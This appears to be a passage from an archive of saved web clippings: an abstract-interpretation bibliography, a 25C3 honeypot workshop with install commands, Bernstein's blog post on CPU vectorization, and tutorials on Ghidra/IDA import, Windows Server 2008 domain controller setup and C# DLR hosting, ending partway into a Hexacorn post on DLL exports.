Abstract interpretation: a unified lattice model for static analysis of
programs by construction or approximation of fixpoints.  
In Conference Record of the Sixth Annual ACM SIGPLAN-SIGACT Symposium on
Principles of Programming Languages, pages 238—252, Los Angeles, California,
1977. ACM Press, New York.

  6. Patrick Cousot & Radhia Cousot.  
Static determination of dynamic properties of recursive procedures.  
In IFIP Conference on Formal Description of Programming Concepts, E.J.
Neuhold, \(Ed.\), pages 237—277, St-Andrews, N.B., Canada, 1977. North-Holland
Publishing Company \(1978\).

  7. Patrick Cousot & Radhia Cousot.  
Systematic Design of Program Analysis Frameworks.  
In Conference Record of the Sixth Annual ACM SIGPLAN-SIGACT Symposium on
Principles of Programming Languages, pages 269—282, San Antonio, Texas, 1979.
ACM Press, New York.

  8. Patrick Cousot & Radhia Cousot.  
Abstract interpretation frameworks.  
Journal of Logic and Computation, 2\(4\):511—547, August 1992.

  9. Patrick Cousot & Radhia Cousot.  
Comparing the Galois connection and widening/narrowing approaches to abstract
interpretation.  
Programming Language Implementation and Logic Programming, Proceedings of the
Fourth International Symposium, PLILP'92, Leuven, Belgium, 13—17 August 1992,
Volume 631 of Lecture Notes in Computer Science, pages 269—295. © Springer-
Verlag, Berlin, Germany, 1992.

  10. Patrick Cousot.  
The Calculational Design of a Generic Abstract Interpreter.  
In Broy, M., and Steinbrüggen, R. \(eds.\): Calculational System Design. NATO
ASI Series F. Amsterdam: IOS Press, 1999.

# Honeypot Workshop - 25C3 Public Wiki

**Created:**| _8/23/2009 9:41:46 PM_  
---|---  
**Updated:**| _8/23/2009 9:41:55 PM_  
**Author:**| __  
**Tags:**| _honeypot Malware-analysis_  
  

# Honeypot Workshop

## Contents

  * 1 Content
  * 2 When and where
  * 3 Requirements
  * 4 How to attend
  * 5 Command Log

  
---  
#### \[edit\]Content

This Honeypot Workshop is a handson event where people will setup and run
their own low-interaction nepenthesand honeytrap honeypots to collect malware
and exploits. You will learn the fundamentals of honeypot-based network attack
analysis, i.e. investigate the recorded honeypot data and corresponding
traffic dumps. A second part will provide a brief introduction to blackbox
malware analysis.

#### \[edit\]When and where

The workshop will take place on 2008-12-29, 20:00-23:00. Location: Workshop
room A03

#### \[edit\]Requirements

Attendees must bring their own laptop with a recent Linux operating system
\(we recommend Ubuntu\) and a Windows XP virtual machine \(we suggest
VirtualBox which is bridged to the host's physical network. Be aware that you
are responsible for your own working environment as we won't have time to do
configuration stuff on-site. However, you may send questions via mail and
we'll try to help you as good as we can.

#### \[edit\]How to attend

This workshop adresses people who would like to gain first insights in
honeypots and their use for attack analysis. The instructor team will be
working closely with the attendees. We will thus offer no more than 10 places.
If you would like to attend, send an application to us with some infos about
yourself and why you deserve a place.

#### \[edit\]Command Log

[code]

    * nepenthes install
     # svn co https://svn.mwcollect.org/nepenthes/trunk/ nepenthes
     # cd nepenthes
     # autoreconf -v -i --force
     # ./configure --prefix=/opt/nepenthes
     # make
     # make install (as root)
     # !! edit /opt/nepenthes/etc/nepenthes/nepenthes.conf to your needs
     # /opt/nepenthes/bin/nepenthes -h (look at options ;) )
     # /opt/nepenthes/bin/nepenthes -u nobody -g nogroup
    
    
[/code]

[code]

    * honeytrap install
     # aptitude install libnetfilter-queue-dev
     # svn co https://svn.mwcollect.org/honeytrap/trunk/ honeytrap-svn
     # cd honeytrap-svn
     # autoreconf -i
     # ./configure --prefix=/opt/honeytrap/ --with-stream-mon=nfq
     # make
     # make install (as root)
     # iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW -j NFQUEUE
       (replace eth0 with your interface)
     # cd /opt/honeytrap/
     # ./sbin/honeytrap -h (look at options ;) )
     # ./sbin/honeytrap -Dt 5 -C etc/honeytrap/honeytrap.conf
    
    
[/code]

Category: Workshop

# cr.yp.to: 2019.04.30: An introduction to vectorization

**Created:**| _5/10/2019 7:56:06 AM_  
---|---  
**Updated:**| _5/10/2019 7:56:06 AM_  
**Author:**| __  
**Tags:**| _crypto performance_  
  

  

# The cr.yp.to blog

* * *
**2019.04.30: An introduction to vectorization** Understanding one of the most
important changes in the high-speed-software ecosystem. \#vectorization \#sse
\#avx \#avx512 \#antivectors  
---  
**2017.11.05: Reconstructing ROCA**  
**2017.10.17: Quantum algorithms to find collisions**  
**2017.07.23: Fast-key-erasure random-number generators**  
**2017.07.19: Benchmarking post-quantum cryptography**  
**2016.10.30: Some challenges in post-quantum standardization**  
**2016.06.07: The death of due process**  
**2016.05.16: Security fraud in Europe's "Quantum Manifesto"**  
**2016.03.15: Thomas Jefferson and Apple versus the FBI**  
**2015.11.20: Break a dozen secret keys, get a million more for free**  
**2015.03.14: The death of optimizing compilers**  
**2015.02.18: Follow-You Printing**  
**2014.06.02: The Saber cluster**  
**2014.05.17: Some small suggestions for the Intel instruction set**  
**2014.04.11: NIST's cryptographic standardization process**  
**2014.03.23: How to design an elliptic-curve signature system**  
**2014.02.13: A subfield-logarithm attack against ideal lattices**  
**2014.02.05: Entropy Attacks\!**  
* * *
## 2019.04.30: An introduction to vectorization

Your CPU has a 32-bit addition instruction that computes the sum of two 32-bit
integers x and y, producing a 32-bit result. \(The 33rd bit of the sum, the
"carry bit", is usually thrown away.\)

A **2-way-vectorized** 32-bit addition instruction computes the sum of two
vectors \(x0,x1\) and \(y0,y1\), where x0,x1,y0,y1 are 32-bit integers. This
means that the CPU computes the sum of x0 and y0, and also computes the sum of
x1 and y1.

A **4-way-vectorized** 32-bit addition instruction computes the sum of two
32-bit integers x0 and y0; the sum of two 32-bit integers x1 and y1; the sum
of two 32-bit integers x2 and y2; and the sum of two 32-bit integers x3 and
y3.

Why should a CPU designer bother providing a vectorized addition instruction?
Why doesn't the programmer simply use one 32-bit addition instruction to add
x0 and y0, another 32-bit addition instruction to add x1 and y1, et cetera? To
understand the answer, let's take a closer look at how the CPU handles a non-
vectorized 32-bit addition instruction:

  * Fetch the instruction from RAM. This is a huge, power-hungry operation compared to the addition, even if the instruction is in a fast cache \(for example, a 32768-byte "level-1 code cache"\). 
  * Decode the instruction, to recognize that it is an addition instruction. Instructions are compressed into a compact format, and uncompressing them takes time. \(Sometimes CPUs cache uncompressed instructions.\) 
  * Retrieve the inputs x and y from a small array, the "register file". 
  * Add x to y. 
  * Put the result into the register file. 

These five stages involve tremendous overhead beyond the addition. Typically
there are even more stages: for example, an early stage that inserts the
instruction into an array of instructions ready to be executed, and a late
stage that "retires" the completed instruction, removing it from this array.
It's not surprising for an Intel CPU to have 15 or more stages overall.
\(Readers interested in learning more about the Intel pipeline should study
Agner Fog's optimization manuals.\)

Students in algorithms courses are usually trained to count arithmetic
operations and to ignore the cost of memory access. Does the overhead of
handling an instruction really matter compared to the cost of arithmetic? To
see that the answer is yes, let's scale up to a much more expensive arithmetic
instruction, namely a 64-bit floating-point multiplication. An Intel
presentation in 2015 reported that a 64-bit floating-point multiplication
costs 6.4 picojoules \(at 22nm, scaling "well with process and voltage"\),
that reading 64 bits from a register file costs 1.2 picojoules \(scaling "less
well with voltage"\), that reading 64 bits from a small \(8KB\) cache costs
4.2 picojoules, that reading 64 bits from a large \(256KB\) cache costs 16.7
picojoules, and that moving 64 bits through a wire 5 millimeters long costs
11.20 picojoules \("more difficult to scale down"\).

Now let's look at how the CPU handles a 4-way-vectorized 32-bit addition
instruction:

  * Fetch the instruction. 
  * Decode the instruction. 
  * Retrieve the inputs x0,x1,x2,x3 and y0,y1,y2,y3 from the register file. 
  * Add x0,x1,x2,x3 to y0,y1,y2,y3 respectively. 
  * Put the 4 sums into the register file. 

The extra efficiency of the vectorized instruction is already clear at the
first stage. Fetching a vectorized addition instruction might be slightly more
expensive than fetching a non-vectorized addition instruction if the
vectorized instruction has a longer encoding, but it certainly isn't 4 times
as expensive. More broadly, 4-way vectorization means that the overhead of
handling each instruction \(and, to some extent, the overhead of handling each
input and output\) is amortized across 4 arithmetic operations. Moving from
4-way vectorization to 8-way vectorization chops the overhead in half again.

Computers are constantly applying the same computations to one input after
another, continuing through large volumes of data. Handling these computations
with vectorized instructions, rather than with non-vectorized instructions,
increases the amount of useful work that the CPU can do in any particular
amount of time under any particular limits on energy, power, temperature, etc.
Commonly used optimizing compilers such as gcc automatically try to figure out
how they can use vectorized instructions instead of non-vectorized
instructions. Often the compiler's automatic vectorization doesn't succeed, so
programmers manually vectorize critical inner loops in a broad range of
performance-sensitive applications.

Wikipedia's AVX page mentions Blender \(movie creation\), dav1d \(AV1 movie
player used inside Firefox\), TensorFlow \(machine learning\), and various
other popular applications that use Intel's instructions to handle 256-bit
vectors. Intel's 128-bit instructions, "SSE" etc., were introduced a decade
earlier and are used so pervasively that trying to keep a list of applications
would be silly.

There is overwhelming evidence of the huge performance increase produced by
vectorization. This performance increase is also the reason that CPU designers
include vector instructions in every big enough CPU. Some CPU designers have
gone far beyond 4-way vectorization: massive vector processors called GPUs
\(typically working with 1024-bit vectors\) have set speed records for a
remarkable range of computations. Current GPUs aren't designed to run full
operating systems, so they can't replace current CPUs, but the performance of
GPUs illustrates the fundamental efficiency of vectorization.

It's possible for a high-speed vectorized computation to generate enough heat
to overwhelm the CPU's cooling, or to consume more power than is available.
The CPU then reduces its clock speed somewhat to compensate. \(GPUs typically
run below 2GHz.\) CPU designers are perfectly aware of this, and continue to
include vector instructions, because vectorization is still a huge win.

### Software without full vectorization

Sometimes a CPU is busy running software that makes little use of the most
powerful vector instructions provided by the CPU. There are two basic reasons
for this.

**Reason 1: Some computations are hard to vectorize.** Consider, for example,
the RC4 stream cipher. This cipher was designed in the 1980s for high software
speed, and for many years it was the main cipher used to encrypt HTTPS
traffic. In 2001 \(as part of a statement downplaying the latest attacks
against RC4\), RSA Laboratories described RC4 as "extremely efficient". Today
the Wikipedia page on RC4 describes RC4 as "remarkable for its simplicity and
speed in software". But let's look at some benchmarks comparing RC4 to my
ChaCha20 stream cipher:

  * RC4: 6.2 cycles/byte on a Intel Core 2 CPU core \(Core 2 Quad Q6600, released 2007\), according to `openssl speed rc4`. 
  * ChaCha20: 3.36 cycles/byte on an Intel Core 2 CPU core, according to eBATS. 
  * RC4: 5.3 cycles/byte on an Intel Skylake CPU core \(Xeon E3-1220 v5, released 2015\). 
  * ChaCha20: 1.17 cycles/byte on an Intel Skylake CPU core. 

Behind the scenes, these ChaCha20 speeds are taking advantage of 128-bit
vector instructions on the Core 2 and 256-bit vector instructions on the
Skylake, while it's awfully difficult for RC4 to make any use of vector
instructions. One of the recurring themes in my research is exploring ways
that non-vectorizable computations can be replaced with vectorizable
computations.

**Reason 2: Intel keeps changing its vector instruction sets.** Intel started
releasing

  * 32-bit CPUs with 64-bit vector instructions \("MMX"\) in 1997,
  * CPUs with 128-bit vector instructions \("SSE"\) in 1999,
  * CPUs with more 128-bit vector instructions \("SSE2"\) in 2000,
  * CPUs with more 128-bit vector instructions \("SSE3"\) in 2004,
  * CPUs with more 128-bit vector instructions \("SSSE3"\) in 2006,
  * CPUs with more 128-bit vector instructions \("SSE4"\) in 2008,
  * CPUs with 256-bit vector instructions \("AVX"\) in 2011,
  * CPUs with more 256-bit vector instructions \("AVX2"\) in 2013, and
  * CPUs with 512-bit vector instructions \("AVX-512"\) in 2016.

Each new instruction-set extension is a new hassle. Someone needs to figure
out how to modify software to use the new instructions, how to deploy the new
software for the new CPUs, and how to avoid having software crash if it tries
using the new instructions on older CPUs that do not support those
instructions. Wide use of the new instructions is years away. Intel often
seems to have trouble figuring out which clock speeds are going to be safe for
software using the new instructions. Eventually these problems are resolved
for each new instruction set, but the resolution can take years.

Some vector instruction sets, such as ARM's Scalable Vector Extension \(SVE\),
instead allow "vector-length agnostic" software that works with many different
vector sizes. To process an N-bit vector, the software tells the CPU to

  * perform vector operations on min\{C,N\} bits, where C is the CPU's vector size; 
  * move C bits through the vector; 
  * subtract C from N; and 
  * go back to the beginning if N is nonnegative. 

These instructions don't state C explicitly. There's one initial software
upgrade to use these scalable vector instructions, and then subsequent changes
in the vector length C don't need further upgrades. A new CPU with a larger C
will automatically run exactly the same software using its larger vector
lengths.

Perhaps ARM will make further changes to the instructions, for example to
correct what turn out to be design flaws in the current details. But what
matters is the scalable design. The CPU designer is free to try different
vector lengths, without the hassle of introducing a new instruction set. The
CPU designer can use all the previous vectorized software to test the new
vector lengths. The user doesn't have to wait for software modifications to
take advantage of the new CPU.

### Vectorization denial: the anti-vectors campaign

Out of the 69 round-1 submissions to NIST's Post-Quantum Cryptography
Standardization Project, 22% already provided Haswell-optimized software at
the beginning of round 1 using 256-bit AVX2 vector instructions. The fraction
increased to 65% at the beginning of round 2.

Out of the 56 speakers at NIST's round-1 conference, there was one speaker
making the amazing claim that vectorization is a _bad_ thing. The slides say
"We do not give a machine code implementation using SSE etc. We \(and others\)
have found that using these extensions causes overall performance of
cryptographic **systems** to slow down." \(Emphasis in original. The speaker
was Nigel Smart; the cover slide also lists Martin R. Albrecht, Yehuda
Lindell, Emmanuela Orsini, Valery Osheter, Kenneth G. Paterson, and Guy
Peer.\)

What the anti-vectorization people have "found" is simply the well-documented
fact that CPU designers sometimes have to reduce their clock speeds to handle
high-speed vectorized computations. See, e.g., Intel's 2014 white paper
"Optimizing Performance with Intel Advanced Vector Extensions", which
discusses the big picture of interactions between clock speed and use of AVX.

Vectorized software is in heavy use in practically every smartphone CPU,
laptop CPU, and server CPU. Vectorization is a huge win _despite_ sometimes
needing lower clock speeds. But these anti-vectorization people don't even
want to use 128-bit vectors \("We do not give a machine code implementation
using SSE etc."\). They publish statements whose evident goal is to deter
other people from writing and measuring vectorized code. Do they seriously
believe that Intel and AMD and ARM have all screwed up by supporting
vectorization?

As discussed above, Intel deployed a new instruction set starting in 2011 to
handle 256-bit vectors. For some time after this, the most important
computations on typical machines weren't using 256-bit vector instructions,
simply because the necessary software hadn't been written yet. If a CPU needed
to run at lower clock speed to handle an occasional 256-bit computation, then
the most important computations would run more slowly, producing a measurable
performance loss. But this was merely a temporary side effect of Intel's
suboptimal management of the transition to larger vectors. Adding 256-bit
support to the most important computations is a huge win—again, this is
_despite_ clock speeds sometimes being lower.

We're now seeing the same pattern repeat for Intel's new 512-bit vector
instructions. Vlad Krasnov posted a measurement showing an occasional 512-bit
computation producing an overall performance loss of 10% in a reasonable-
sounding synthetic workload on an Intel Xeon Silver. The anti-vectors campaign
views this measurement as a devastating indictment of 512-bit vectors; slides
to the notion that one also shouldn't use 256-bit vectors; and slides beyond
this to the notion that one shouldn't even use 128-bit vectors.

What will happen when the most important computations are upgraded to use
512-bit vectors? Unless Intel botched their hardware design, the answer will
be a performance win, despite the reduction in clock speed. As this clock-
speed reduction increasingly becomes the norm, the supposed harms of upgrading
other computations to use 512-bit vectors will disappear, while the
performance benefits will remain.

Because Intel never provided scalable vector instructions, the new ecosystem
of software that can use Intel's 512-bit vectors is much smaller than the
previous ecosystem of software that uses smaller vectors. Experience suggests
that growth of the new ecosystem will produce a transition between two
situations:

  * Short-term situation: The new ecosystem is in its infancy, and doesn't support the most important computations on typical machines \(even if the CPUs support 512-bit vectors\). Occasional users see big benefits from the new ecosystem, but many users gain clock speed and performance by avoiding the new ecosystem. 
  * Long-term situation: The new ecosystem has grown, and supports the most important computations on typical machines, providing broad performance benefits whenever the CPU supports 512-bit vectors \(even if clock speeds are lower\). Avoiding the new ecosystem becomes increasingly silly. 

If you're a software developer, and you take the lead in adding support for
512-bit vector instructions \(once you have a 512-bit CPU for testing\), then
you're giving extra choices to users who have 512-bit CPUs. Users then have
the freedom to run your software in the mode that best supports their most
important computations. Presumably this will be 512-bit mode in the not-too-
distant future, and for some users it is already 512-bit mode today.

You might run into an anti-vectors campaigner who wants to take this freedom
away, and who tries to make you feel guilty for clock-speed reductions.
According to the campaigner, _you_ are singlehandedly responsible for slowing
down every other application on the machine\! But the reality is quite
different. A single change of clock speed allows larger vectors in many
different computations, and if this includes the most important computations
for the users then overall there's a speedup.

* * *
**Version:** This is version 2019.04.30 of the 20190430-vectorize.html web
page.

# Flush.app - Flash Cookie Removal Tool For OS X - ::MacBB::

**Created:**| _8/15/2009 6:59:48 PM_  
---|---  
**Updated:**| _9/18/2009 10:33:19 AM_  
**Author:**| __  
**Tags:**| _security tools security Mac-hacking_  
  
or those who do not know about Flash cookies, more properly referred to as
Local Shared Objects \(LSO\), they operate in a similar way to regular browser
cookies but are stored outside the purview of your browser, meaning you cannot
delete them from within your browser, whether Safari, Firefox, Opera or any
other. Typically they are issued from sites or 3rd party sites that contain
Adobe Flash content. Since virtually all internet advertising is delivered in
Flash, Google/Doudleclick and all other internet advertising companies are
sure to be tracking your browsing behavior with Flash cookies. These companies
can see you traverse the Internet as you come upon the plethora of sites that
contain their embedded advertising. Check out the Wikipedia entry here.  
  
In Mac OS X they are stored in the following location:  
/User’s Home Folder/Library/Preferences/Macromedia/Flash
Player/\#SharedObjects  
  
The settings for the Flash cookies are stored in:  
/User’s Home Folder/Library/Preferences/Macromedia/Flash
Player/macromedia.com/support/flashplayer/sys  
  
In OS X Local Shared Objects, or Flash Cookies, are appended with a .sol
suffix. Flush deletes the Flash cookies \(.sol\) and their settings.  
  
Download Flush.app now  
  
**Sources:**  
http://www.wired.com  
http://machacks.tv

# Large-Scale Malware Indexing Using Function-Call Graphs∗

**Created:**| _11/10/2009 12:19:23 PM_  
---|---  
**Updated:**| _11/10/2009 12:19:59 PM_  
**Author:**| __  
**Tags:**| _research papers Malware-analysis_  
  
<img src='img/Temp2_4840' />

# Import IDA pro database into Ghidra project

**Created:**| _5/10/2019 8:33:54 AM_  
---|---  
**Updated:**| _5/10/2019 8:33:54 AM_  
**Author:**| __  
**Tags:**| _iDA ghidra_  
  

  

April 08, 2019

###  Import IDA pro database into Ghidra project

—

  
<img src='img/5658_1.png' width='640' height='312' />****  
****  
**The Ghidra** distribution includes a plugin for use with IDA Pro \(a
commercially available disassembler\). The XML plugin is used with IDA Pro to
export IDA Pro databases as XML files so that they can be imported into
Ghidra. This allows IDA Pro users to migrate their data to Ghidra.To add the
XML exporter plugin to your IDA installation locate the folders in the <ghidra
installation director>/Extensions/IDAPro folder. The plugin is available for
IDA Pro versions 6 and 7.  
**  
The content are:**  

  * xml\_exporter.py is a plugin to export an IDA database as an XML file. It must be placed in the IDA plugins folder. 
  * xml\_loader.py is an IDA loader to build a new database using an XML file. It loads the bytes file and builds the IDA database using the contents of the XML file. It must be placed in the IDA loaders folder.  

  * xml\_importer.py is a plugin to add data from an XML file to an existing database. It will NOT load any binary data from the bytes file. It will add symbols, comments, code, data, functions, etc. for addresses that currently exist in the database. It must be placed in the IDA plugins folder. 
  * The idaxml.py module is a require import for the xml\_exporter, xml\_importer, and xml\_loader. It must be placed in the IDA python folder. 

  
After placing the files open up IDA and you will see two new icons in the
plugins menu  
  

<img src='img/Untitled.png' width='640' height='81' />

  
Export IDA pro database using the XML Exporter and just drag and drop it into
your Ghidra project as if it was a normal executable  
  
<img src='img/5657_Untitled.png' width='640' height='440' />  
  
You can import Ghidra database into IDA pro using XML importer too.  
  

<img src='img/ss.png' width='640' height='416' />

<img src='img/5656_ida.png' width='640' height='532' />

  
  
  

# Setting Up Your First Domain Controller With Windows Server 2008

**Created:**| _1/17/2010 6:49:54 PM_  
---|---  
**Updated:**| _1/17/2010 6:50:02 PM_  
**Author:**| __  
**Tags:**| _setup windows_  
  
| | Setting Up Your First Domain Controller With Windows Server 2008  
---  
  
Published|  
:|  
February 01, 2008  
Last Updated| :| February 01, 2008  
|  |   
**Introduction**  
  
In this article, we are going to set up our first domain controller using
Windows Server 2008, that is to set up Active Directory Domain Services.  
  
| **Note: This article was written when Windows Server 2008 was still RC1.
Changes might occur later once the product is RTM'd**

  1. If you have set up a domain controller previously with Windows 2000 Server, or Windows Server 2003, then you would be familiar with the**dcpromo.exe** command, it will also be used to set up a Domain Controller on Windows Server 2008.   
  
To use the command, click on **Start** <img src='img/Temp2_7435.jpg'
width='20' height='20' /> > **Run **> and then write **dcpromo** > Click **OK  
  
<img src='img/Temp2_7416.jpg' width='417' height='222' />  
  
**

  2. The system will start checking if Active Directory Domain Services \( AD DS\) binaries are installed, then will start installing them. The binaries could be installed if you had run the dcpromo command previously and then canceled the operation after the binaries were installed.  
**  
<img src='img/Temp2_7429.jpg' width='281' height='154' /> <img
src='img/Temp2_7437.jpg' width='281' height='157' />  
**  

  3. The Active **Directory Domain Services Installation Wizard** will start, either enable the checkbox beside **Use Advanced mode installation **and Click **Next ,** or keep it unselected and click on **Next  
  
  
<img src='img/Temp2_7430.jpg' width='503' height='476' />****  
  
**The following table lists the additional wizard pages that appear for each deployment configuration when you select the **Use advanced mode installation** check box. | **Deployment configuration**| **Advanced mode installation wizard pages**  
---|---  
New forest | **Domain NetBIOS name**  
New domain in an existing forest | On the **Choose a Deployment Configuration** page, the option to create a new domain tree appears only in advanced mode installation. **Domain NetBIOS name****Source Domain Controller**  
Additional domain controller in an existing domain | **Install from Media****Source Domain Controller****Specify Password Replication Policy** \(for RODC installation only\)  
Create an account for a read-only domain controller \(RODC\) installation | **Specify Password Replication Policy**  
Attach a server to an account for an RODC installation | **Install from Media****Source Domain Controller**  
**  
  
**

  4. The **Operating System Compatibility** page will be displayed, take a moment to read it and click **Next  
  
<img src='img/Temp2_7422.jpg' width='503' height='476' />  
  
**

  5. Choose **Create a new domain in a new forest** , Click **Next  
  
<img src='img/Temp2_7434.jpg' width='503' height='476' />  
  
**

  6. Enter the **Fully Qualified Domain Name** of the **forest root domain** inside the textbox**, **click** Next  
  
<img src='img/Temp2_7438.jpg' width='503' height='476' />  
  
**

  7. If you selected **Use advanced mode installation** on the Welcome page, the **Domain NetBIOS Name** page appears. On this page, type the NetBIOS name of the domain if necessary or accept the default name and then click **Next**.  
  
<img src='img/Temp2_7428.jpg' width='503' height='476' />  

  8. Select the **Forest Functional Level** ,**** choose the level you desire and click on **Next.** Make sure to read the description of each functional level to understand the difference between each one.**  
  
<img src='img/Temp2_7419.jpg' width='503' height='476' />  
  
**  

  9. In the previous step, If you have selected any Forest Functional Level other than Windows Server 2008 and clicked on Next , you would then get a page to select the **Domain Functional Level. **Select it and then click on **Next  
  
<img src='img/Temp2_7418.jpg' width='503' height='476' />  
  
  
**

  10. In the **Additional Domain Controller Options** page, you can select to install the **Domain Name Service ** to your server. Note that the First domain controller in a forest must be a **Global Catalog ** that's why the checkbox beside Global Catalog is selected and it cannot be cleared. The checkbox is also selected by default when you install an additional domain controller in an existing domain, however you can clear this checkbox if you do not want the additional domain controller to be a global catalog server. The first domain controller in a new forest or in a new domain can not be a **Read Only Domain Controller **\(**RODC**\), you can later add a RODC but you must have at least one Windows Server 2008 Domain Controller.  
  
I want to set my DC as a DNS Server as well, so I will keep the checkbox
beside DNS Server selected and click on **Next**  
  
<img src='img/Temp2_7426.jpg' width='503' height='476' />**  
  
**  

  11. If the wizard cannot create a delegation for the DNS server, it displays a message to indicate that you can create the delegation manually. To continue, click **Yes  
****  
<img src='img/Temp2_7442.jpg' width='413' height='230' />  
  
**

  12. Now you will have the location where the domain controller database, log files and SYSVOL are stored on the server.  
The database stores information about the users, computers and other objects
on the network. the log files record activities that are related to AD DS,
such information about an object being updated. SYSVOL stores Group Policy
objects and scripts. By default, SYSVOL is part of the operating system files
in the Windows directory  
  
Either type or browse to the volume and folder where you want to store each,
or accept the defaults and click on **Next**  
  
<img src='img/Temp2_7421.jpg' width='503' height='476' />**  
  
**

  13. In the **Directory Services Restore Mode Administrator Password** \(**DSRM**\) page, write a password and confirm it. This password is used when the domain controller is started in **Directory Services Restore Mode** , which might be because Active Directory Domain Services is not running, or for tasks that must be performed offline.  
Make sure that you memorize this password when you need it. I know many
administrators forgot it when they most needed it \!\!  
  
  
<img src='img/Temp2_7431.jpg' width='503' height='476' />**  
  
  
**Make sure the password meet the password complexity requirements of the
password policy, that is a password that contains a combination of uppercase
and lowercase letters, numbers, and symbols. else you will receive the
following message :  
  
<img src='img/Temp2_7441.jpg' width='414' height='165' />  
  
  

  14. **Summary** page will be displayed showing you all the setting that you have set . It gives you the option to export the setting you have setup into an answer file for use with other unattended operations, if you wish to have such file, click on the **Export settings **button and save the file.  
  
<img src='img/Temp2_7439.jpg' width='503' height='476' />**  
  
**

  15. DNS Installation will start  
  
<img src='img/Temp2_7425.jpg' width='437' height='306' />  
  

  16. Followed by installing Group Policy Management Console, the system will check first if it is installed or not.  
  
<img src='img/Temp2_7440.jpg' width='437' height='306' />**  
  
**

  17. Configuring the local computer to host active directory Domain Services and other operations will take place setting up this server as a Domain Controller  
  
**<img src='img/Temp2_7423.jpg' width='437' height='306' />  
  
<img src='img/Temp2_7424.jpg' width='437' height='306' />  
  
<img src='img/Temp2_7432.jpg' width='434' height='307' />  
  
<img src='img/Temp2_7433.jpg' width='437' height='306' />  
  
<img src='img/Temp2_7427.jpg' width='434' height='303' />  
  
**

  18. **Active Directory Domain Services** installation will be completed, click **Finish, **then click on Restart Now to restart your server for the changes to take effect.  
  
<img src='img/Temp2_7420.jpg' width='503' height='476' />**  
  
  
<img src='img/Temp2_7417.jpg' width='360' height='140' />**  
  

  19. Once the server is booted and you logon to it, click on **Start** > **Administrative Tools** , will notice that following have been installed :

  * Active Directory Domains and Trusts
  * Active Directory Sites and Services
  * Active Directory Users and Computers
  * ADSI Edit
  * DNS
  * Group Policy Management  
  
<img src='img/Temp2_7436.jpg' width='241' height='484' />

  
  

**Summary**

Setting up a Domain Controller in Windows Server 2008 to install Active
Directory Domain Services is performed by running the dcpromo command. It has
some new options like using Advanced Mode Installation, and exporting settings
to an answer file . In my next articles, I will show you how to perform an
unattended installation to set up your domain controller, and also how to set
up an additional domain controller using Windows Server 2008.  

**Related Articles**

**Setting Up an Additional Domain Controller With Windows Server 2008**

**Unattended Installation of Active Directory Domain Services**

# DLR Hosting and related stuff... : How to write a simple DLR host in C\#
using Hosting API

**Created:**| _11/5/2009 7:33:50 PM_  
---|---  
**Updated:**| _11/5/2009 7:34:09 PM_  
**Author:**| __  
**Tags:**| _python programming C\#_  
  

## How to write a simple DLR host in C\# using Hosting API

Let me start with a \(fair\) assumption. You reached here by clicking on a
link in a search results page. So, you already have a basic idea of what the
DLR is and that it can be hosted in managed applications. This post addresses
getting you started assuming no prior knowledge of the API that would let you
do this.

Here's a step by step guide to write a simple DLR host

  1. Currently, the DLR is available as part of IronPython. So you can download the latest DLR binaries and/or binaries from here. \(You can also get it from the IronRuby project\)
  2. Extract the contents of the zip file to disk. The default dir will be 'IronPython-2.0B3'
  3. Fire up VS and create a new C\# Console application.
  4. In VS, choose  _Project-> <project name> Properties..._ menu item**** to bring up project properties.
  5. Use the '_Output path_ ' option to set the the project's output path to the folder where you unzipped the binaries in step \(2\).
  6. **Make sure the folder you set in \(5\) is the one that has the unzipped binaries like ipy.exe, Microsoft.Scripting.Core.dll etc**
  7. Add a reference to the Scripting dlls. Using  _Project->Add reference_ menu to bring up the references dialog.Now use the 'Browse' tag to locate  _' Microsoft.Scripting.Dll_' and '_Microsoft.Scripting.Core.dll_ ' in the folder you created in step \(2\)
  8. Create a simple python file. My test python file has just the following line -  _print "hello simple dlr host"_
  9. Paste the following code in the Program.cs file created in step \(3\)

using Microsoft.Scripting.Hosting;

namespace SimpleDLRHost \{

class Program \{

static void Main\(string\[\] args\) \{

ScriptRuntime runtime = ScriptRuntime.Create\(\);

runtime.ExecuteFile\(@"D:\test.py"\);

\}

\}

\}

  10. Compile and run
  11. You should see the output from the python script in the output console of this project

By now, I am sure you are thrilled about being able to write simple programs
that can host a scripting language like IronPython. This sample is the most
simplest DLR host you could write and so doesn't do anything meaningful. The
focus of this post is on setting up the environment correctly to use the API
\( the classes and methods that are part of the Microsoft.Scripting.Hosting
namespace\)

Using the Hosting API, You do some very powerful things with the DLR and
scripting languages. For example, you can do things like

  1. Use other languages like IronRuby, Managed JScript etc...
  2. Define a method in python and invoke from C\#
  3. Declare a variable in C\# and access it from the script \(and vice versa\)
  4. Add user scripting support to your applications.

The Hosting API spec has some samples that demonstrate some of the above
items. I would also be putting up some more examples along these lines shortly
here.

**Further Reading**

  * The Hosting API spec is the most comprehensive resource to learn about DLR hosting in detail.
  * To get a good understanding of the DLR as a platform visit Martin's blog - http://blogs.msdn.com/mmaly/. You may want to start from the first entry in his blog - http://blogs.msdn.com/mmaly/archive/2007/12/19/dynamic-language-runtime.aspx
  * This page contains a bunch of very useful links to DLR resources

  

# Hexacorn | Blog
**Created:**| _8/9/2013 8:57:35 AM_  
---|---  
**Updated:**| _8/9/2013 8:57:35 AM_  
**Author:**| __  
**Tags:**| _dll-injection_  
  

# **H** exacorn | Blog****
This series is an attempt to bring together in one place various info
scattered all over the place about numerous types of DLL Entry Points and DLL
Exports**.** Knowing what functions are exported by specific DLL types helps
in both identification of a file and its reverse engineering**.** Everything
below is from a reverse engineer’s perspective i.e. what you see when you open
a DLL in a RCE tool e.g. IDA Pro**.** Information provided here is based on a
lot of sources yet it is quite condensed; if you want a nice starter about
DLLs instead, please check this Microsoft support article What is a DLL**?**
first.

Since this is by no means an exhaustive list, and as I was researching it I
was finding more and more stuff I started getting really insane while trying
to make it all correct and nicely hyperlinked so please consider this to be a
draft quality a.k.a. a WORK IN PROGRESS**.** If you spot any mistake please
let me know. Thanks and see in you in a Part 2 soon**\!**

**Generic Exports  
**

  * .tls
    * Not really an exported function per se, but since it may be present inside PE file I am mentioning it for completeness**.** Code potentially present inside .tls section \(.tls callbacks\) is executed on many ‘funny’ occasions**.** Do read Ange’s article to understand its quirks; it’s seriously @\#$%^**.**
  * DllEntryPoint 
